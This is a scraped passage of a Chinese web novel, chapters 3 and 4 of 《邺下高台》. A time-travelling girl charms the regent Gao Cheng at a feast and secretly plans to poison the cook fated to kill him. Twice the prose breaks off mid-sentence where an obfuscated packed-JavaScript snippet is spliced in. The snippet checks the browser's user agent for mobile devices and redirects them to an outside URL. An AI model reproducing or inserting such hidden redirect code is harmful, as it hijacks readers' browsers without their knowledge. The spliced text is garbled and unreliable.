《邺下高台》 3. 第3章 看陈扶进来,陈元康父子皆松开了家妓,原本在高澄身侧弄姿的歌姬,也收敛了形骸。 陈元康一直崩着的心弦,现下更紧了——阿扶从未见过外人,更未参加过正式宴席,万一在贵人面前失了礼数,如何是好? 直到那小身影步履平稳地走到高澄前,像模像样地行了礼,声音清稚地道了句“陈扶问大将军安。”他才算稍稍松了口气。 高澄的目光在她被风吹得有些毛茸茸的额发上扫过,随口问:“冷不冷?” “不冷,”她笑回,语气还带着点小自豪,“我方才特意多添了件衣裳。” 言罢,她做了一个让陈元康,乃至留意那边动静的人都为之愕然的举动——向前挪了一小步挨住高澄,伸出小手,主动地握住了高澄搭在膝上的手,“是不是暖的?” 动作自然地仿佛他们本就这么亲近。 那一瞬间,陈元康清晰地看到,高澄的眉梢挑动了一下,眼底闪过一丝讶异,但随即,他便将手一翻,回握住了那只小手。 真感受了下,才低笑一声道:“嗯,确实不冷,你倒是很知冷热。” 陈元康暗自慨叹,善藏谨言慎行陪酒多时,也不过只得高澄几句疏淡的客套;阿扶童言无忌、举止天然,反倒能让高澄席间主动问起,还这么快就拉进了关系。 难道这就是佛家说得,人与人的缘法? 高澄握着那小手,继续逗孩子,“不霸着你阿耶了,还告我的状么?” 阿扶有些不好意思地低下头,“不......不告了。”悄悄抬眼瞄了高澄一眼,又补充了一句,“大将军,你真是一个好人。” “好人?”高澄松开她,不轻不重地在她额心点了下,引得小家伙下意识地闭了闭眼,“我可不是什么好人。” 侍从捧着食案进来,问主家陈元康:“女公子的食案摆......” 高澄截断道:“放这儿。” 侍从依他所指,将女公子的食案并在了他案侧。 上完菜后,陈扶扫过案上两只杯——一盅蜜水,一盅酪浆。她拿过一只新杯,用气声对侍从说了声“倒酒。” 侍从显然没料到小主人会有此请求,脱口确认:“女公子要酒?” 这一声在琵琶声歇的厅里显得格外清晰,引得大人们都侧目望来,自然也引来了紧挨着的高澄的目光。他把玩着酒樽,视线带上玩味。 “你会饮酒?” 小人儿摇摇头,纯然道,“可书上说,宾至则酒,以表敬意。如果很欢迎大将军,就该给大将军敬酒。” 高澄眼尾微弯,拿起自己的金樽,往她的小玉杯里倾了浅浅一个杯底。 “敬吧。” 小手捧着那小玉杯,像模像样举起来,高澄也端起酒樽与她一碰,并未饮,而是停在唇边,好整以暇地看着她。 小人儿学着大人模样,捧起杯子就仰头‘一饮而尽’。但显然低估了汾清的威力,小身板瞬间打了个激灵,她努力维持着表情,嘴角却不受控地往下撇,生动而可怜。 高澄喉间发出一声低沉的笑,这才将自己杯中的酒饮尽。 虽然被辣得眼泛水光,小人儿却还是牢记礼数,乖乖退回自己的食案前,规规矩矩跪坐席上,得了陈元康‘吃吧’的允准后,夹了片清笋小口小口、斯斯文文吃起来。 侍从附耳询问:“不用些奥肉么?女郎平日不是......” “不用,”陈扶轻声打断,“退下吧。” 看她已安然进食,高澄将目光重新投向持杯恭候的陈善藏,拾起了她进来之前的话题。 “善藏表字是什么?” 陈善藏忙举杯相敬,“回大将军,在下表字连忠。” “好字啊,”高澄抿口酒,随意道,“黄门侍郎还有个缺,帮我去看着小皇帝吧。” 陈善藏反应过来后,伏地大拜连连称谢表忠。 陈元康手中银箸险些滑落,惊喜来得太突然,太厚重——黄门侍郎,天子近臣,这是多少世家子弟都求之不得的清要之职! 然而狂喜之后,理智迅速回笼。 瞥眼高澄面上的酒晕,这般要职,竟在见善藏的第一面就随口而定?若是明日酒醒后大将军忘了今日之言,或是改了主意,岂非空欢喜一场...... “怎么?”高澄挑眉,直接点破了他的心思,“长猷觉着我是酒后戏言?放心,我没醉。” 他说着,手臂一伸将那歌姬重新揽回怀里,“你给我找的伴,都不肯陪我尽兴,我如何能醉?” 说罢也不管那歌姬连声告饶,将新倒满的酒凑她唇边,半是强迫地灌了下去,算是将这场人事安排定了音。 一直安静待着的陈扶,忽看向对面的陈元康,有些委屈地问道:“耶耶,为何阿兄有字,我却没有?” 正喜不自胜的陈元康,语气很是温和,“阿扶需行过笄礼,方可取字。” “何必拘那些虚礼,周礼还讲二十而冠呢,你不也给连忠早行了?” 高澄本是随口一说,谁知身侧那小人儿闻言,缓缓将小脑袋转向他,轻声道:“那大将军为我取一个小字吧。” 此言一出,陈家父子皆是一怔。 高澄也愣了下,饶有兴致地打量她,“哦?为何要我来取?” 小人儿认真解释道:“因为我听到父兄说,大将军发布的榜文和律法,”她顿住,眨眼搜索了下记忆,“‘辞旨宏丽’,所以大将军取的字,一定是最好的。” 那黑亮瞳仁里是纯稚的仰佩,这显然极大地取悦了高澄,他笑了两声,几乎未作思考,一个小字便脱口而出,“便叫你‘稚驹’,如何?” 稚驹,小马之意,陈元康看着自家孩子,实在也没看出哪里像匹小马。 “稚驹。”阿扶小声重复了一遍,弯着眼睛笑起来,“真好听。” 女儿心思单纯,只是为着和阿兄一般,多了个新名字而欢喜。但明白赐字深意的陈元康,内心早已掀起狂澜。 爱而字之也。 上者、长辈赐予小字,绝非简单赐字,而是一种庇护意味的联结。 更何况自魏晋以来,名士之间以示亲近,常以小名、小字相称。以后‘稚驹’这个小字,将比‘陈扶’这个大名更频繁地被使用。 高澄不仅会牢牢记住这个名字,更会在潜意识里,将他冠名的稚驹,视作需要自己格外照顾的小辈。 仿佛是为了印证他的判断,高澄心情颇佳地将案上的那盏荔枝膏,放在了陈扶的面前。 “吃吧,小稚驹。” 看着高澄将珍奇之食让给女儿,再瞧两人并肩而坐的景象,高澄身着朱红官服,阿扶套着红裲裆,那一大一小、一深一浅的两抹红色,和谐得宛若亲人。 一个念头如同投入水面的石子,在他心底漾开圈圈涟漪——阿扶若真得了大将军青眼,是不是能嫁入大将军府...... 越想越深,细盘算起来:高澄长子高孝瑜,只比阿扶小一岁半;次子高孝珩,其母可是太原王氏,可惜小了阿扶三岁;世子妃冯翊公主肚子里的——这个就罢了,莫说男女未知,便是男孩,原也高攀不上,何况年岁也不合适。最有望的还是高孝瑜...... 忽而失笑,他真是喝多了,阿扶才六岁,谈婚论嫁猴年马月的事,想这些虚无缥缈的未免也太早了。 思绪回转眼下,善藏做官的正事已定,不如趁着高澄心情尚佳,再抬朋友一手,也好还了那两人之前送的一百匹连珠孔雀罗和那箱子藏书。 他整顿神色,捧起酒杯,恭谨道:“前日听任胄说起,他出资修了座寺院,为公主殿下不日将诞下的嫡嗣祈福祝祷,可谓诚心至极。” 谁知高澄眼皮都未抬一下,“任胄?”略停顿,故作恍然道,“哦——就是那个贪污遭人弹劾,阿耶念旧情特赦的任胄?” “额......是。” “他不过百匹之俸,营造寺观大则费耗百十万,小则尚用三五万余,他何来此财?” “任胄家财本丰,乃累世之积。此番为给世孙献寺祈福,倾尽家资,可见其心之诚。” 高澄冷笑一声,“他物用陈设皆按王侯,日日在家宴客豪饮,那般动极奢豪,光靠家资恐怕不够吧?”凤目一凛,锐光直射陈元康,“你不就是他的常客,会不知晓?” 陈元康心下一沉,世子这句句带刀,连献寺这般大手笔的‘心意’都如此冷淡,莫不是真动了整贪的心思? 只得转移焦点道,“不仅任胄,祖珽此番也用了心。寺中所有楹联匾额,乃至为祈福所作骈文石碑,皆是他亲笔题写、巧手雕刻。” 他对好友祖珽之才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457192|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是很有信心的,上回祖珽在并州定国寺写得碑文,大丞相很是赞许,还因此免了其罪过,想必足以引高澄前去一观,说不好能被再次启用。 谁知高澄闻言,哼一声道,“弄璋弄瓦尚还不知,倒写了祷文,想来也不过是王孙王女皆宜的浮华之词,并未用心。”话锋一转,面上掠过讥诮,“不过你说他巧手,倒是确实。” 一旁正捧着碗的陈扶,忽从碗里抬起小脸,笑道,“是呢是呢,阿祖公手可巧啦!” 陈元康心头掠过不好的预感,还未及阻止,就见他那‘乖巧’女儿已转向高澄,兴致勃勃分享起来,“上回阿耶设宴,阿祖公去厨房拿酒,然后我的那个小金碗就不见啦!” “阿扶,休要胡言!” 傻孩子果然听不懂他为何斥责,不解道:“没有胡说呀,孙大娘说阿祖公走后,碗就不见了。她只好把我的小银碗送到西厢小厨房收好,再不敢放在前边啦。” 陈元康被噎得脸色青白交错,尴尬至极。 看着这位素来机敏的谋臣被自家女儿当众拆台,窘迫得无以复加,再想到方才在园中,小人儿建议小偷重罚,偷‘一只金碗’,就要打二百军棍、关十年大牢,原来是因为受过其害。 高澄先是低笑,越想越得趣,随即抚膝大笑起来。 忽又想起祖珽偷书,也曾害他在人前丢尽颜面,心头火‘噌’地冒上来,笑意收敛,对陈元康冷道:“祖珽此人,才学或有,然性贪太过!能在阿耶身边做个散参,已是便宜了他。长猷,吏部铨选当察其性,岂能只观其才?” 陈元康忙应道:“是,是,世子明鉴。” 罢了,从女儿歪打正着令高澄开怀,已知今夜不是帮朋友之机。 高澄见他恭顺,怒气稍平,心思转回了正题,“说到献寺,前日吏部郎崔季伦还向阿耶痛切陈词:只因小皇帝与阿耶、阿母皆崇信佛法,以致达官豪绅竞相建寺,平民百姓悉供沙门。邺下寺舍栉比,宝塔骈罗,已近三千。” 他引述着崔暹的话,语气激赏,“他言:释教本以清净为基,慈悲为主,岂能因荣身之欲而损国家?如此掘山穿地,殚竭府库,实乃废人工、害农务。” 稍作停顿,目光锁向陈元康,“此言可谓切中时弊,修《麟趾格》时,我便觉此人恪尽职守,是个实干之才,可堪大用!” 陈元康心中已然雪亮。 世子今日前来,哪里是来喝他珍藏的汾清,分明是被西来的那封密信激得雄心勃发,要强力推行他那严法肃纪的主张了。 而他儿子这黄门侍郎,也不是白给的。 “世子真慧眼识珠。” 陈元康顺意献策道,“不过,依臣浅见,委以大用前,还需再抬一抬季伦兄的威势。臣有一计......或可世子设席,等诸公皆在座时,让季伦兄目视上方缓步而进,臣便亲自上前,为其提衣裾,导引入席。” 他稍顿,观察了一下高澄的神色,继续道:“宴席之间,待行酒两巡,他便先行告退。届时朝臣亲见其与世子分庭抗礼,何人还敢不敬?季伦兄清傲刚直、不畏权贵之姿,亦能深入人心。” 高澄眼中精光闪动,抚掌笑回:“善!”向他倾身,更显亲密道,“长猷既肯如此,日后在朝中内外,定会多为他美言,助他立威吧?” 陈元康躬身一礼,恳切道:“世子欲澄清吏治,臣自当竭诚辅弼,岂敢惜身?” 高澄举杯与他对饮。 美酒下肚,更觉快意,今日这趟,不仅定了整顿朝纲的第一步,还认识了个讨喜的小玩意儿。这么想着,目光下意识去寻那抹红色。 小人儿并未在吃喝,竟是低着头,小心翼翼一下下抹着他衣摆上的酒渍,仿佛在完成一件顶顶重要的大事。 红衣愈发衬得那小手纤白,指尖却是孩童的肉感,他的心霎时被一种柔软击中。 恰在此时,一苍头奴疾步跑来,扑跪在高澄席前。 “禀世子!公主殿下刚刚诞下麟儿!是位王孙!” 满座一静,陈元康父子立刻高声道:“恭喜世子!贺喜世子!此乃天佑大魏,社稷之福啊!” 小人儿也抬头贺道:“恭喜大将军!” 反应过来的高澄起身大步往外走,行至门口,忽又回头看眼陈扶,对陈元康道: “来洗三礼时,把稚驹带上。”* 4. 第4章 西厢内,净瓶站在陈扶身后,将她那头乌黑发丝绾成垂挂髻。 “仙主真是厉害,”净瓶手上不停,嘴里也没停,“就见了一面,吃了顿饭,便能叫大将军点名邀去王孙的洗三礼!这般荣光,便是那些命妇也未必有呢!” 陈扶端坐镜前,目光落在镜中净瓶兴奋的眉眼上,唇角微扬,语气风轻云淡: “我与他本就是上界仙僚,共掌枢机。他的脾性喜好,我自了然于胸,能得他青眼,何足怪哉?” 声音稚嫩,语调却是超脱物外的平静。 净瓶连连点头:“仙主说得是极!” 看她满脸深以为然,陈扶不再言,任她将几支精致的珠玉金钗斜插入髻。 在净瓶、甘露面前,她必须维持‘神仙’的绝对威严,加深她们对此的笃信。至于所谓的了解高澄,虽没有什么上界记忆,但看过不少他的视频资料啊,也算是了解吧。 其实,她也没料到能这么快就去将军府,便是获赐小字,也属计划之外的收获。那夜步入厅堂时她想的,不过是将每个细节做到极致,捕捉每一丝可乘之机。 不对。 仅仅如此,恐怕还不够。 她看向镜中自己那张稚气的孩儿面,笑时乖巧,一旦不笑,便显得那么无辜可怜,谁又忍心对这样的孩子说‘不’呢?能得高澄如此照拂,这张脸怕是起了大用。 地狱局,但抽了个ssr皮肤,她在心里自嘲一笑。 门帘轻动,甘露悄步走来,从袖中取出一个小纸包,压低声音道:“女郎确定......这次就要用?” 陈扶从她指尖抽过那小包,“若能尽早除患,为何要等?” “就是!那厨子既是魔王转世,自然早一日解决早一日干净!” 陈扶没有理会净瓶,她站起身,理了理身上新制的锦缎襦裙,出了门。 走在廊下,她用指腹感受着内里粉末的细腻质感,眼神渐冷。 今日若有机会,便毒死那厨子了事。 她对杀人这件事,早已做好心理建设。反正任由历史发展下去,那厨子也不过是多做八年的饭,再在杀死她阿耶和高澄后,被赶来的高洋剁成肉泥。 而她既然生此乱世,便也做不得什么良人。 穿过连接西厢与正院的回廊,还未踏入中堂,争执声便已隐约传来,越近越是清晰。 她于虚掩的门缝前停步。 “我为何去不得?”李氏直着脖子瞪陈元康。 “你去什么!”陈元康很是不耐,“太原公、永安郡公、彭城王、高阳王.....去的都是王妃命妇,你与她们说什么?又能说什么?!” 李氏声音陡然拔高,“是!我比不得那些王妃!平日你嫌我上不得台面,不让我在贵人跟前露面,我认了!可你今天非要带阿扶去,你去了不得帮忙张罗啊?你能看得了孩子?还是你儿子能?她脾胃不好,若捡吃了不干净的东西......” “大将军府中婢仆众多,自有人看顾!” 若是平日,她必进去噎阿耶两句,但今天若插了嘴,阿母必坚定要去了。那她可就别想离开其视线半步,有一丝自由活动的可能。 陈扶后退一步,朝陈善藏所居的东屋走去。 二人出府时,奴仆正将一尊实心金观音搬上牛车,后面三辆大车,已被绫罗绸缎等装得满满当当。 陈家自然是极有钱的。 陈元康确有辅国之才、机略之能,不然也不能被高欢信重。但爱和祖珽、任胄之流厮混的人,私德又能高到哪里去?这些年他凭着大领导秘书这种机要之位,没少经营聚敛。 可惜便是再有本事弄来,也要有命享用才行。 陈善藏面露忧色,看陈元康出来了,忙提醒道:“阿耶,世子前日宴席上,不是已明言要整贪了么?我们这般......是否太过扎眼?这不就是提醒世子,阿耶你......”他话未说尽,但意思明确——你送得出这么多金银布帛,岂能清白? 陈元康拍拍他肩膀道:“阿耶岂会不知?但若刻意简薄,反倒显得心虚矫饰,贪婪吝啬只进不出了。咱们家底如何,大王与世子会不知晓?这‘廉洁’牌坊,你阿耶我想立也立不住了,不如奉献出去,还能落个老实忠诚。” 车驾缓启,出长寿里,延漳河西行到大将军府。 秋晨初晞,时辰尚早,门口还没什么车架;府邸四门皆开,是迎客之意。 进院中,远远看到斗拱雄大、飞檐深远的主殿里,高澄正与一抱着襁褓的男人笑语。 那人一身寻常袍袴戎服,腰间并无金玉之饰,面上虽有久经风霜之痕,然眉目深峻,眸光如隼,笑时皓齿生辉,犹见龙虎精神。中年尚且如此,年轻时一定容颜绝佳。 墙内漆瓦金铛,银楹金柱;墙外风拂邺下,漳水汤汤。 目接此景,陈扶不禁神思摇荡——‘六镇华夷传露布,九龙风雨聚漳河’,当时读这句诗时,岂料竟有亲见高王的一日。 高欢身侧,还站着位肤色较深的青年,盯看着孩子,高澄不点他他不开口,不等陈扶猜测,就听阿耶对阿兄道:“答话那位是太原公。” 原来是高洋啊,陈扶笑笑,那这也不算丑啊,只是在华服玉带、肤白貌丽的高澄身旁,显得黯然了。 下车近前,渐闻笑语,高欢说得是鲜卑语,陈扶只能听懂几个词,因有晋阳、步落稽两词,想来是在遗憾孩子在晋阳的小叔们没能看到孩子。 再往里望,内室之中,女眷们言笑晏晏,目光都聚焦在中间之人身上,想那便是刚诞下麟儿的世子妃冯翊公主。公主看着年纪尚轻,面容俊秀,画着妆,但仍有虚弱之态。 群芳之中,一位风致清艳的少妇姿容尤为出众,陈扶猜测,她应是高洋之妻,那位以美貌著称的李祖娥。 眼前这幅画面,兄友弟恭,宗室和睦,怎么看都是一派天伦和乐之景。 然而,知晓这段历史走向的陈扶,很清楚这几个人的结局——遗憾的遗憾、疯的疯、惨的惨。 高欢玉璧受挫,抱憾撒手;高澄受禅前夕,横死厨子刀下。 高洋接受父兄政治遗产后,快刀斩乱麻,很快便逼东魏的孝静帝禅位,建立了北齐。追封父为北齐神武帝,兄为北齐文襄帝。 可惜他前明后昏,当了‘英雄天子’没几年,就开始纵酒肆欲,渐为癫狂。后来的高湛、高纬,统治更为昏邪残暴,期间杀侄欺嫂、有悖人伦之事不堪细思,内室那两位的遭遇更是不忍细言。 如果他们只是高家人互相戕害,陈扶才不会管。 可他们还诛剪良臣、辱杀臣妇、苦役百姓......整个邺下都在北齐的黑暗统治下风声鹤唳,人人自危,谁也不知道下一个被辱、被虐、被杀的是不是自己。如此二十八年后,北齐被西边的北周所灭,邺下尽焚,高台尽毁。 三国故地、六朝古都的邺城,至此在历史中湮灭。 先不论乱世的亡国之女会经历什么,单是在北齐统治下,会随机解锁什么遭遇,陈扶就不敢想。 高家最正常且最有能力将北齐引向正常的,真就只有高欢高澄父子。而以她臣女的身份,让高欢不去征玉璧太不现实,保高澄,则只需杀了那厨子即可。 袖口里捏着那包毒药的手,又紧了几分。 余光瞥见来人,高澄朝三人走来,陈元康忙将礼单并那三车礼物呈上。高澄目光在礼单上一扫,又瞥了眼那尊金光灿灿的观音像,似笑非笑地看了陈元康一眼,并未揶揄,只摆了摆手,示意侍从收下。 三人见高欢快步而来,齐齐躬身行礼。 高欢执住陈元康的手将他扶起,改换汉语道:“长猷来啦。”语气亲善熟稔,有如亲友、不似君臣。 转而端详 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457193|185337||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈善藏,目露欣慰:“连忠眉宇疏朗,颇有汝父之风啊。你阿耶之才世间希有,我能得之,乃上天降佐也。你既通历算善经史,不日上任黄门侍郎,当学汝父待我般,为阿惠分忧呀。” 陈善藏振袖激越道:“连忠谨遵王命!必不负大王、世子!” 连没见过的臣子的特长职位都能记住,真不愧是高王啊。 正心下感慨,高欢目光已转向安静待在父亲身后的陈扶,朝她伸手笑道:“来,好孩子,到阿公这儿来。” 陈扶依言上前,被高欢抱起笑问,“告诉阿公,你叫什么名字?几岁啦?”正要开口,高澄已屈指刮了下她的脸颊,代答道,“稚驹,六岁了。” 虽被抢答了,陈扶还是回搂住高欢脖子,甜甜笑道,“是的大王,稚驹今年六岁半了。”说罢还用小手比了个六。 高欢大笑,“不愧是长猷家的,果真伶俐孩儿。”言罢,抱着她行至内厅,俯身凑近小床上的襁褓。 看着小小的、红扑扑的婴儿,想着他原历史的凄惨结局,陈扶说出了最吉祥的话:“王孙小弟弟长得真好看呀,他的额头多圆呐,去岁有个游方道士来我家避雨,送给我一本画册子,上面就画有这样的额头呢,旁写着......”她故作回忆状,“珠庭日角,龙腾紫霄,额如覆肝,福寿双全。” 龙腾紫霄可是形容皇上的,那孙子都能当皇上,你高欢高澄不也是皇上? 果然,高欢与高澄闻言一怔,相视而笑。 高欢轻抚陈扶额角,“好孩子,阿公今天太忙,让阿耶帮帮阿公好不好?”陈扶乖巧应“好”。高欢将她交予侍立的女婢:“带孩子去园中摘个石榴吃——选个子大味甜的。” 女婢抱着她往出走,身后传来高澄的声音:“带她看看东苑新筑的曲水回廊,昨日刚贡来的那两对朱冠白鹤。” 一离开前殿,陈扶便对女婢软声道:“大将军府今日这般忙碌,姐姐一定累坏了,放我下来自己走罢。”那女婢闻言果然将她放下,揉着发酸的手腕笑道:“小娘子真是体贴人。” 二人沿青石板路往东苑行去,被牵着的陈扶不时抬眼细瞧,终‘忍不住’道,“姐姐长得像神妃仙子,真好看。大将军府的人,都像姐姐这般好看嘛?” 女婢被夸得颊生红云,也俯身端详起她来——乌发似墨,双瞳如漆,丹唇小口,骨质纤细;哪里都小小的,只那张脸白嫩圆润;虽和漂亮不沾边,但着实可爱,宛若年画里的玉童。 “小娘子也生得极好呢。” 刚到曲水回廊,陈扶便拉着她坐下,让她歇息。盯看她好一会儿后,拔下了自己髻上一只金簪。那簪身沉实,簪头嵌着鸽卵大的宝石。侍女见她要为自己簪上,慌道:“这如何使得......” “这簪子我戴着奇怪极了,还总是歪斜,”陈扶按住她轻拒的手,将金簪插入她髻上,“可在姐姐发间,倒是好看的紧。”边说边引她至廊边临水照影。 金簪在发间熠熠生辉,侍女目眩神迷,对着水镜左照右照,喃喃道:“是好看哈......” 正欣赏时,余光却瞥见小娘子皱眉曲身,紧捂住了腹部。 刚得了人家的好处,肯定要关心人家呀,奴婢赶紧问:“这是怎么了?女郎肚子痛?” 却见小女郎仰起惨白小脸,细声嗫嚅:“今晨出门匆忙,阿耶没给我吃早食......我脾胃素来不太好,饿不得,一饿就有点痛......” “这还了得!那咱们赶紧去摘个石榴垫垫——”话音戛然而止,人家给了她那么贵的东西,她就只按主子吩咐给人家摘个石榴?忙改口道:“空腹食酸更伤胃,不如奴婢带女郎去厨房?这个点灶上定有热腾腾的胡羹,喝一碗就不痛了。” 小女郎乖巧回:“都听姐姐的。” 待女婢起身看回前路,那张小脸上隐痛倏忽消散,唇角勾起笑意。